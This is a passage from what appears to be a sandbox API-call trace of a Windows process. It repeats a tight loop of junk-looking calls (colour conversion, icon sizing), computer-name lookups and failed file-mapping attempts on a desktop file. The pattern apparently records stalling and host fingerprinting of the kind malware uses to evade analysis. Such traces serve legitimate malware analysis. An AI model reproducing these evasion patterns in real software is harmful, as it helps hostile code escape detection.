dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.200] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.201] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.201] CloseHandle (hObject=0x0) returned 0 [0189.201] CloseHandle (hObject=0xffffffff) returned 1 [0189.201] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.201] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.201] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.201] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.201] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.201] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.201] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.201] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.201] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.201] CloseHandle (hObject=0x0) returned 0 [0189.201] CloseHandle (hObject=0xffffffff) returned 1 [0189.201] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.201] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.201] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.201] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.201] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.201] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.202] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.202] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.202] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.202] CloseHandle (hObject=0x0) returned 0 [0189.202] CloseHandle (hObject=0xffffffff) returned 1 [0189.202] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.202] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.202] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.202] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.202] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.202] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.202] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.202] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.202] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.202] CloseHandle (hObject=0x0) returned 0 [0189.202] CloseHandle (hObject=0xffffffff) returned 1 [0189.202] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.202] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.202] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.202] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.202] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.203] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.203] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.203] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.203] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.203] CloseHandle (hObject=0x0) returned 0 [0189.203] CloseHandle (hObject=0xffffffff) returned 1 [0189.203] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.203] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.203] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.203] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.203] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.203] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.203] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.203] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.203] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.203] CloseHandle (hObject=0x0) returned 0 [0189.203] CloseHandle (hObject=0xffffffff) returned 1 [0189.203] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.203] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.203] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.203] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.204] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.204] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.204] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.204] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.204] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.204] CloseHandle (hObject=0x0) returned 0 [0189.204] CloseHandle (hObject=0xffffffff) returned 1 [0189.204] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.204] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.204] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.204] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.204] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.204] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.204] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.204] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.204] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.204] CloseHandle (hObject=0x0) returned 0 [0189.204] CloseHandle (hObject=0xffffffff) returned 1 [0189.204] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.205] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.205] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.205] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.205] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.205] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.205] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.205] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.205] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.205] CloseHandle (hObject=0x0) returned 0 [0189.205] CloseHandle (hObject=0xffffffff) returned 1 [0189.205] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.205] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.205] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.205] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.205] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.205] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.205] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.205] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.205] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.205] CloseHandle (hObject=0x0) returned 0 [0189.205] CloseHandle (hObject=0xffffffff) returned 1 [0189.206] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.206] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.206] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.206] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.206] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.206] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.206] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.206] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.206] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.206] CloseHandle (hObject=0x0) returned 0 [0189.206] CloseHandle (hObject=0xffffffff) returned 1 [0189.206] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.206] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.206] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.206] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.206] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.206] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.206] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.206] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.206] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.206] CloseHandle (hObject=0x0) returned 0 [0189.206] CloseHandle (hObject=0xffffffff) returned 1 [0189.207] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.207] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.207] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.207] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.207] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.207] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.207] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.207] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.207] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.207] CloseHandle (hObject=0x0) returned 0 [0189.207] CloseHandle (hObject=0xffffffff) returned 1 [0189.207] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.207] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.207] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.207] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.207] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.207] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.207] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.207] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.207] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.207] CloseHandle (hObject=0x0) returned 0 [0189.208] CloseHandle (hObject=0xffffffff) returned 1 [0189.208] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.208] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.208] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.208] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.208] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.208] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.208] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.208] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.208] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.208] CloseHandle (hObject=0x0) returned 0 [0189.208] CloseHandle (hObject=0xffffffff) returned 1 [0189.208] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.208] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.208] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.208] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.208] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.208] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.208] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.208] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.208] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.208] CloseHandle (hObject=0x0) returned 0 [0189.208] CloseHandle (hObject=0xffffffff) returned 1 [0189.208] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.209] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.209] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.209] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.209] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.209] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.209] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.209] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.209] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.209] CloseHandle (hObject=0x0) returned 0 [0189.209] CloseHandle (hObject=0xffffffff) returned 1 [0189.209] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.209] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.209] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.209] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.210] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.210] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.210] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.210] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.210] UnmapViewOfFile 